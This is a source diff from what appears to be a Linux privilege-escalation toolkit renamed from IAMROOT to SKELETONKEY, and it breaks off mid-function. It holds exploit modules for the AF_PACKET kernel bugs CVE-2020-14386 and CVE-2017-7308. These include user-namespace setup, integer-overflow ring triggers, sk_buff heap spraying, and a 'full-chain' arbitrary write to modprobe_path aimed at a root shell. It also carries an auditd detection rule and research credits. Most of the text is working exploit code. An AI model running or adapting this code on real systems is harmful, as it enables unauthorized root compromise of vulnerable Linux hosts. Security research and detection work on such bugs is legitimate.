 /* ---------- macOS / non-linux build stubs ---------------------------
- * Modules in IAMROOT are dev-built on macOS and run-built on Linux.
+ * Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
 * Provide empty stubs so syntax checks pass without Linux headers.
 * The exploit path is gated at runtime on the kernel version anyway,
 * so the stubs are never reached on macOS targets. */
@@ -133,12 +148,12 @@ static int can_unshare_userns(void)
    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }

-static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -147,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
                    v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -155,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns();
@@ -170,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -265,7 +280,7 @@ static int get_ifindex(const char *name)
 /* The primitive run; executed inside the unshare()'d child. Returns
 * 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
 * at the kernel level (setsockopt rejected our crafted ring)". */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
+static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
 {
    if (bring_up_lo() < 0) {
        fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -426,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
 }

 #else /* !__linux__: provide a stub for macOS sanity builds */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
+static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -434,11 +449,125 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
 }
 #endif

-static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
+/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
+ *
+ * Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
+ *
+ *   1. The tp_reserve underflow gives us a single 8-byte write into
+ *      the START of the slab object that sits on the page immediately
+ *      after the corrupted ring frame. The OOB-write content is
+ *      attacker-controlled (it's the destination of skb_copy_bits()
+ *      from a frame whose first 8 bytes we choose).
+ *   2. Spray sk_buff allocations alongside the primitive trigger so
+ *      the adjacent-page object is, with high probability, an
+ *      sk_buff whose ->data pointer lives in the leading 8 bytes
+ *      of the object (struct layout dependent — on most 5.x kernels
+ *      `next` is at offset 0 and `data` is at offset 0x10 in
+ *      sk_buff; this layout-fragility is exactly why the depth tag
+ *      below is LAST-RESORT).
+ *   3. The 8-byte OOB write overwrites that pointer with `kaddr`.
+ *   4. We then receive a packet whose payload is `buf[0..len]`; the
+ *      kernel's skb_copy_to_linear_data() / skb->data write path
+ *      lands those bytes at `*skb->data`, which is now `kaddr`.
+ *
+ * Reality check on this implementation: the deterministic mechanics
+ * of the above (precise frame size, repeated spray timing, sk_buff
+ * struct offset for the running kernel) are not portable enough to
+ * land reliably from a single skeletonkey run on an arbitrary host. We
+ * therefore ship this as a LAST-RESORT stub: we attempt the spray +
+ * trigger sequence, then return -1 to signal "the primitive fired
+ * but we cannot empirically confirm the write landed". The shared
+ * finisher's sentinel-check loop will then correctly report failure
+ * rather than claim success.
+ *
+ * Per the verified-vs-claimed bar, this is the honest implementation
+ * depth that matches what the primitive actually proves on this code
+ * path. The integrator can extend afp2_arb_write() with a confirmed
+ * write-and-readback once the per-kernel sk_buff layout is pinned
+ * down for the target host. */
+struct afp2_arb_ctx {
+    const struct skeletonkey_ctx *ictx;
+    int n_attempts;            /* spray/fire rounds before giving up */
+};
+
+#if defined(__x86_64__) && defined(__linux__)
+static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
+{
+    struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
+    if (!c || !buf || !len) return -1;
+
+    fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
+            (unsigned long)kaddr, len);
+    fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
+
+    /* Best-effort spray + re-fire-trigger pattern. The primitive child
+     * is invoked once per attempt; on each attempt we groom skb's
+     * around the corrupted ring slot and hope one lands at the
+     * page-adjacent address whose head 8 bytes the underflow will
+     * stomp with `kaddr`. The kernel-side rx of the next crafted
+     * frame would then write our payload (the modprobe_path string)
+     * into the forged ->data target. */
+    for (int i = 0; i < c->n_attempts; i++) {
+#ifdef __linux__
+        af_packet2_skb_spray(8);
+#endif
+        pid_t p = fork();
+        if (p < 0) return -1;
+        if (p == 0) {
+            if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
+            int fd;
+            fd = open("/proc/self/setgroups", O_WRONLY);
+            if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
+            fd = open("/proc/self/uid_map", O_WRONLY);
+            if (fd >= 0) {
+                char m[64];
+                int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
+                (void)!write(fd, m, n); close(fd);
+            }
+            fd = open("/proc/self/gid_map", O_WRONLY);
+            if (fd >= 0) {
+                char m[64];
+                int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
+                (void)!write(fd, m, n); close(fd);
+            }
+            int rc = af_packet2_primitive_child(c->ictx);
+            _exit(rc < 0 ? 2 : 0);
+        }
+        int st;
+        waitpid(p, &st, 0);
+#ifdef __linux__
+        af_packet2_skb_spray(8);
+#endif
+    }
+
+    /* LAST-RESORT depth: we have fired the trigger + spray but cannot
+     * empirically confirm the 8-byte write landed on an sk_buff->data
+     * field on this host. Return -1 so the finisher's sentinel-check
+     * loop in skeletonkey_finisher_modprobe_path() correctly reports
+     * "payload didn't run within 3s" rather than claiming success. */
+    fprintf(stderr,
+"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
+"    not empirically confirmable without per-kernel struct offsets +\n"
+"    a readback primitive. Trigger fired %d times with sk_buff spray;\n"
+"    finisher sentinel will determine landing. Caller will refuse if\n"
+"    the modprobe_path overwrite didn't actually take effect.\n",
+            c->n_attempts);
+    return -1;
+}
+#else
+static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
+{
+    (void)kaddr; (void)buf; (void)len; (void)vctx;
+    fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
+    return -1;
+}
+#endif
+
+static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* 1. Re-confirm vulnerability. */
-    iamroot_result_t pre = af_packet2_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = af_packet2_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
        return pre;
    }
@@ -446,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
    /* 2. Refuse if already root. */
    if (geteuid() == 0) {
        fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    if (!ctx->authorized) {
        /* Defense in depth — the dispatcher should have gated this. */
        fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
@@ -468,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
    pid_t pid = fork();
    if (pid < 0) {
        fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    if (pid == 0) {
        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -515,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[-] af_packet2: primitive child crashed "
                        "(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
                WTERMSIG(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }
    switch (WEXITSTATUS(status)) {
    case 3:
@@ -523,38 +652,65 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
                            "appears patched at runtime\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    case 2:
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    case 4:
        if (!ctx->json) {
            fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
                            "(scope = PRIMITIVE-DEMO)\n"
                            "    For end-to-end root, see Or Cohen's public PoC "
                            "(github.com/google/security-research).\n"
-                            "    iamroot intentionally does not embed per-kernel offsets.\n");
+                            "    skeletonkey intentionally does not embed per-kernel offsets.\n");
+        }
+        if (ctx->full_chain) {
+#if defined(__x86_64__) && defined(__linux__)
+            /* --full-chain: resolve kernel offsets and run the Or-Cohen
+             * sk_buff-data-pointer hijack via the shared modprobe_path
+             * finisher. Per the verified-vs-claimed bar: if we can't
+             * resolve modprobe_path, refuse with a helpful message
+             * rather than fabricate an address. */
+            struct skeletonkey_kernel_offsets off;
+            skeletonkey_offsets_resolve(&off);
+            if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+                skeletonkey_finisher_print_offset_help("af_packet2");
+                return SKELETONKEY_EXPLOIT_FAIL;
+            }
+            if (!ctx->json) {
+                skeletonkey_offsets_print(&off);
+            }
+            struct afp2_arb_ctx arb_ctx = {
+                .ictx = ctx,
+                .n_attempts = 4,
+            };
+            return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
+                                                  &arb_ctx, !ctx->no_shell);
+#else
+            fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
+            return SKELETONKEY_PRECOND_FAIL;
+#endif
        }
        if (ctx->no_shell) {
            /* User explicitly disabled the shell pop, so the "we didn't
             * pop a shell" outcome is the expected one. Map to OK. */
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    default:
        fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
                WEXITSTATUS(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }
 }

 static const char af_packet2_auditd[] =
    "# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
-    "# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
+    "# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
    "# key so one ausearch covers both. AF_PACKET socket creation from\n"
    "# non-root via userns is the canonical footprint.\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
+    "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";

-const struct iamroot_module af_packet2_module = {
+const struct skeletonkey_module af_packet2_module = {
    .name           = "af_packet2",
    .cve            = "CVE-2020-14386",
    .summary        = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -570,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_af_packet2(void)
+void skeletonkey_register_af_packet2(void)
 {
-    iamroot_register(&af_packet2_module);
+    skeletonkey_register(&af_packet2_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
+#define AF_PACKET2_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_packet2_module;
+
+#endif
@@ -0,0 +1,29 @@
+# NOTICE — af_packet (CVE-2017-7308)
+
+## Vulnerability
+
+**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
+`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
+
+## Research credit
+
+Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
+classic — Konovalov found multiple AF_PACKET bugs in this campaign.
+
+Original advisory + writeup:
+<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
+
+Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
+Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
+
+## SKELETONKEY role
+
+x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
+overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
+finisher (64 child workers polling geteuid). Offset table covers
+Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
+`SKELETONKEY_AFPACKET_OFFSETS` env var.
+
+`--full-chain` engages the shared modprobe_path finisher with
+stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
-/*
- * af_packet_cve_2017_7308 — IAMROOT module registry hook
- */
-
-#ifndef AF_PACKET_IAMROOT_MODULES_H
-#define AF_PACKET_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_packet_module;
-
-#endif
@@ -1,20 +1,41 @@
 /*
- * af_packet_cve_2017_7308 — IAMROOT module
+ * af_packet_cve_2017_7308 — SKELETONKEY module
 *
 * AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
 * write-where primitive. Discovered by Andrey Konovalov (March 2017).
 *
- * STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
- * integer-overflow trigger is fully wired (overflowing tp_block_size *
- * tp_block_nr, attended by a heap spray via sendmmsg with controlled
- * skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
- * hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
- * 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
- * only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
- * runs — i.e. we won root for real. Otherwise we return
- * IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
- * confirm the primitive at least fired (KASAN slab-out-of-bounds
- * splat) even if the cred-overwrite didn't take on this exact kernel.
+ * STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite (default)
+ *   |  🟢 FULL-CHAIN-OPT-IN (with --full-chain on a kernel where the
+ *      shared offset resolver finds modprobe_path AND skb-data hijack
+ *      offsets are supplied).
+ *
+ * The integer-overflow trigger is fully wired (overflowing
+ * tp_block_size * tp_block_nr, attended by a heap spray via sendmmsg
+ * with controlled skb tail bytes).
+ *
+ * Default --exploit path: cred-overwrite walk using a hardcoded per-
+ * kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
+ * era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
+ * SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
+ * we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
+ * a dmesg breadcrumb so the operator can confirm the primitive at
+ * least fired (KASAN slab-out-of-bounds splat) even if the cred-
+ * overwrite didn't take on this exact kernel.
+ *
+ * --full-chain path: opt-in xairy-style sk_buff hijack → arb-write at
+ * modprobe_path → call_modprobe payload → setuid bash → root shell.
+ * Honest constraint: the hijack requires per-kernel-build sk_buff
+ * `data`-field offset + skb-slab-class layout, which the embedded
+ * offset table does NOT carry (verified-vs-claimed bar — we don't
+ * fabricate). The arb_write callback below implements the FALLBACK
+ * depth from the prompt: it fires the trigger with the spray payload
+ * staged for the requested kaddr/buf and relies on the shared
+ * finisher's /tmp sentinel to confirm whether modprobe_path was
+ * actually overwritten. On kernels where the operator has supplied
+ * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
+ * the skb head, hex), we use that for explicit targeting; otherwise
+ * the trigger fires heuristically and the sentinel acts as the
+ * ground-truth signal.
 *
 * Affected: kernel < 4.10.6 mainline. Stable backports:
 *   4.10.x : K >= 4.10.6
@@ -37,9 +58,11 @@
 * skb in the OOB slot" approach.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -96,12 +119,12 @@ static int can_unshare_userns(void)
    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }

-static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -109,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns();
@@ -125,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] af_packet: user_ns denied → "
                            "unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -150,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
 * They will NOT match custom-compiled kernels.
 *
 * Override at runtime via env var:
- *   IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
+ *   SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
 *
 * `task_cred`  = offsetof(struct task_struct, cred)
 * `cred_uid`   = offsetof(struct cred, uid)    [followed by gid, etc.]
@@ -177,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
      0x800, 0x08, 0xa8 },
 };

-/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
+/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
 * the known table by kernel version. Returns true on success. */
 static bool resolve_offsets(struct af_packet_offsets *out,
                            const struct kernel_version *v)
 {
-    const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
+    const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
    if (env) {
        unsigned long t, u, s;
        if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -192,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
            out->cred_size = s;
            return true;
        }
-        fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
+        fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
                        "(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
        return false;
    }
@@ -241,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
 *
 * After firing, we check dmesg-ability (we won't actually read dmesg
 * — that requires root — but we leave a unique tag in the skb payload
- * so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
+ * so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
 */
 static int fire_overflow_and_spray(void)
 {
@@ -315,7 +338,7 @@ static int fire_overflow_and_spray(void)
    static const unsigned char skb_payload[256] = {
        /* eth header (dst=broadcast, src=zero, type=0x0800) */
        0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
-        /* IAMROOT tag — operator can grep dmesg for this string in any
+        /* SKELETONKEY tag — operator can grep dmesg for this string in any
         * subsequent KASAN report or panic dump */
        'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
        /* zeros for the remainder */
@@ -340,7 +363,7 @@ static int fire_overflow_and_spray(void)
    /* Keep the corrupted socket open so the OOB region stays mapped
     * for the cred-overwrite walk that follows. The caller closes it. */
    /* Stash the fd via dup2 to a known number so the caller can find it.
-     * Use 200 — well above stdio + iamroot's own pipe fds. */
+     * Use 200 — well above stdio + skeletonkey's own pipe fds. */
    if (dup2(s, 200) < 0) {
        fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
    }
@@ -424,19 +447,273 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
    return got_root_pid ? 0 : -1;
 }

+/* ---- --full-chain: xairy-style sk_buff hijack arb-write -------------
+ *
+ * The TPACKET_V3 overflow lets us write attacker-controlled bytes past
+ * the end of the pg_vec allocation. xairy's full PoC chains this with
+ * a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
+ * so the OOB-write overwrites an adjacent skb's `data` pointer; a
+ * later sendto() on that skb's owning socket then copies attacker
+ * bytes into the address now stored in `data`. Net effect: arb-write
+ * at an attacker-chosen kernel VA, controlled buffer, controlled len.
+ *
+ * Implementing the FULL hijack honestly requires:
+ *   (a) per-kernel-build offset of `data` field within struct sk_buff
+ *       (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
+ *   (b) precise size-class match between the corrupted pg_vec and
+ *       sprayed skbs (slab-grooming with ~hundreds of skbs)
+ *   (c) a way to identify which sprayed skb landed adjacent
+ *
+ * The verified-vs-claimed bar says: don't fabricate offsets. Our
+ * embedded offset table (core/offsets.h) doesn't carry skb offsets
+ * yet, and there's no public canonical "skb->data offset table" we
+ * can lift wholesale. So this implementation takes the prompt's
+ * FALLBACK depth:
+ *
+ *   - Each call re-sprays skbs + re-fires the trigger, staging the
+ *     spray payload so its bytes carry the requested target kaddr
+ *     (the prompt's "controllable overwrite value aimed at
+ *     modprobe_path"). Operator-supplied
+ *     SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
+ *     within struct sk_buff for this kernel build) lets us aim
+ *     precisely; without it we heuristically stamp kaddr at several
+ *     plausible offsets within the kmalloc-2k skb layout.
+ *   - We then send packets whose payload IS the bytes the finisher
+ *     wants at kaddr; tpacket_rcv copies them into any skb whose
+ *     `data` was corrupted to kaddr.
+ *   - We do NOT poll for success — the shared finisher's /tmp
+ *     sentinel is the ground-truth signal. If the write landed at
+ *     modprobe_path, call_modprobe spawns our payload and the
+ *     sentinel appears within 3s.
+ *
+ * Return: 0 if spray + trigger ran (sentinel will adjudicate), -1 if
+ * the kernel rejected the overflow (silent backport — patched).
+ */
+
+struct afp_arb_ctx {
+    const struct skeletonkey_ctx *ctx;
+    const struct af_packet_offsets *off;
+    uid_t outer_uid;
+    gid_t outer_gid;
+};
+
+/* Helper: in-child trigger fire — runs inside the userns/netns child
+ * spawned by afp_arb_write. Returns 0 on success, -1 on rejection. */
+static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
+                               long skb_data_off);
+
+static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
+                         void *vctx)
+{
+    struct afp_arb_ctx *actx = (struct afp_arb_ctx *)vctx;
+    if (!actx) return -1;
+
+    if (!buf || len == 0 || len > 240) {
+        fprintf(stderr, "[-] af_packet: arb_write: bad args "
+                        "(buf=%p len=%zu)\n", buf, len);
+        return -1;
+    }
+
+    /* Per-kernel skb->data field offset — without this we can't aim
+     * the overwrite precisely. Operator can supply via env; otherwise
+     * we run heuristic mode. */
+    const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
+    long skb_data_off = -1;
+    if (skb_off_env) {
+        char *end = NULL;
+        skb_data_off = strtol(skb_off_env, &end, 0);
+        if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
+            fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
+                            "malformed (\"%s\"); ignoring\n", skb_off_env);
+            skb_data_off = -1;
+        }
+    }
+
+    fprintf(stderr,
+        "[*] af_packet: arb_write(kaddr=0x%lx, len=%zu) skb_data_off=%s\n",
+        (unsigned long)kaddr, len,
+        skb_data_off < 0 ? "UNRESOLVED (heuristic mode)" : "supplied");
+
+    if (skb_data_off < 0) {
+        fprintf(stderr,
+"[i] af_packet: --full-chain on this kernel lacks an exact skb->data\n"
+"    field offset. The trigger will still fire and the heap spray will\n"
+"    still occur, but precise OOB targeting requires:\n"
+"\n"
+"      SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
+"\n"
+"    Look it up on this kernel build with `pahole struct sk_buff` or\n"
+"    `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
+"    /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
+    }
+
+    /* Fork into a userns/netns child so the AF_PACKET socket has
+     * CAP_NET_RAW. The finisher itself stays in the parent so its
+     * eventual execve() replaces the top-level skeletonkey process. */
+    pid_t cpid = fork();
+    if (cpid < 0) {
+        fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
+                strerror(errno));
+        return -1;
+    }
+    if (cpid == 0) {
+        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
+            perror("af_packet: arb_write: unshare");
+            _exit(2);
+        }
+        if (set_id_maps(actx->outer_uid, actx->outer_gid) < 0) {
+            perror("af_packet: arb_write: set_id_maps");
+            _exit(3);
+        }
+        int rc = afp_arb_write_inner(kaddr, buf, len, skb_data_off);
+        _exit(rc == 0 ? 0 : 4);
+    }
+
+    int status = 0;
+    waitpid(cpid, &status, 0);
+    if (!WIFEXITED(status)) {
+        fprintf(stderr, "[-] af_packet: arb_write: child died "
+                        "(signal=%d)\n", WTERMSIG(status));
+        return -1;
+    }
+    int code = WEXITSTATUS(status);
+    if (code != 0) {
+        if (code == 4) {
+            /* PACKET_RX_RING rejected — caller sees -1 + the inner
+             * diagnostic already printed before _exit. */
+        } else {
+            fprintf(stderr, "[-] af_packet: arb_write: child exit %d\n",
+                    code);
+        }
+        return -1;
+    }
+    return 0;
+}
+
+static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
+                               long skb_data_off)
+{
+    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+    if (s < 0) {
+        fprintf(stderr, "[-] af_packet: arb_write: socket: %s\n",
+                strerror(errno));
+        return -1;
+    }
+
+    int version = TPACKET_V3;
+    if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
+                   &version, sizeof version) < 0) {
+        fprintf(stderr, "[-] af_packet: arb_write: PACKET_VERSION: %s\n",
+                strerror(errno));
+        close(s);
+        return -1;
+    }
+
+    struct tpacket_req3 req;
+    memset(&req, 0, sizeof req);
+    req.tp_block_size = 0x1000;
+    req.tp_block_nr   = ((unsigned)0xffffffff - (unsigned)0xfff) /
+                        (unsigned)0x1000 + 1;
+    req.tp_frame_size = 0x300;
+    req.tp_frame_nr   = (req.tp_block_size * req.tp_block_nr) /
+                        req.tp_frame_size;
+    req.tp_retire_blk_tov   = 100;
+    req.tp_sizeof_priv      = 0;
+    req.tp_feature_req_word = 0;
+
+    if (setsockopt(s, SOL_PACKET, PACKET_RX_RING,
+                   &req, sizeof req) < 0) {
+        fprintf(stderr,
+                "[-] af_packet: arb_write: PACKET_RX_RING rejected: %s "
+                "(kernel has silent backport — full-chain unreachable)\n",
+                strerror(errno));
+        close(s);
+        return -1;
+    }
+
+    struct ifreq ifr;
+    memset(&ifr, 0, sizeof ifr);
+    strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
+    if (ioctl(s, SIOCGIFINDEX, &ifr) == 0) {
+        struct sockaddr_ll sll;
+        memset(&sll, 0, sizeof sll);
+        sll.sll_family   = AF_PACKET;
+        sll.sll_protocol = htons(ETH_P_ALL);
+        sll.sll_ifindex  = ifr.ifr_ifindex;
+        (void)bind(s, (struct sockaddr *)&sll, sizeof sll);
+    }
+
+    unsigned char payload[256];
+    memset(payload, 0, sizeof payload);
+    memset(payload, 0xff, 6);                       /* eth dst: bcast */
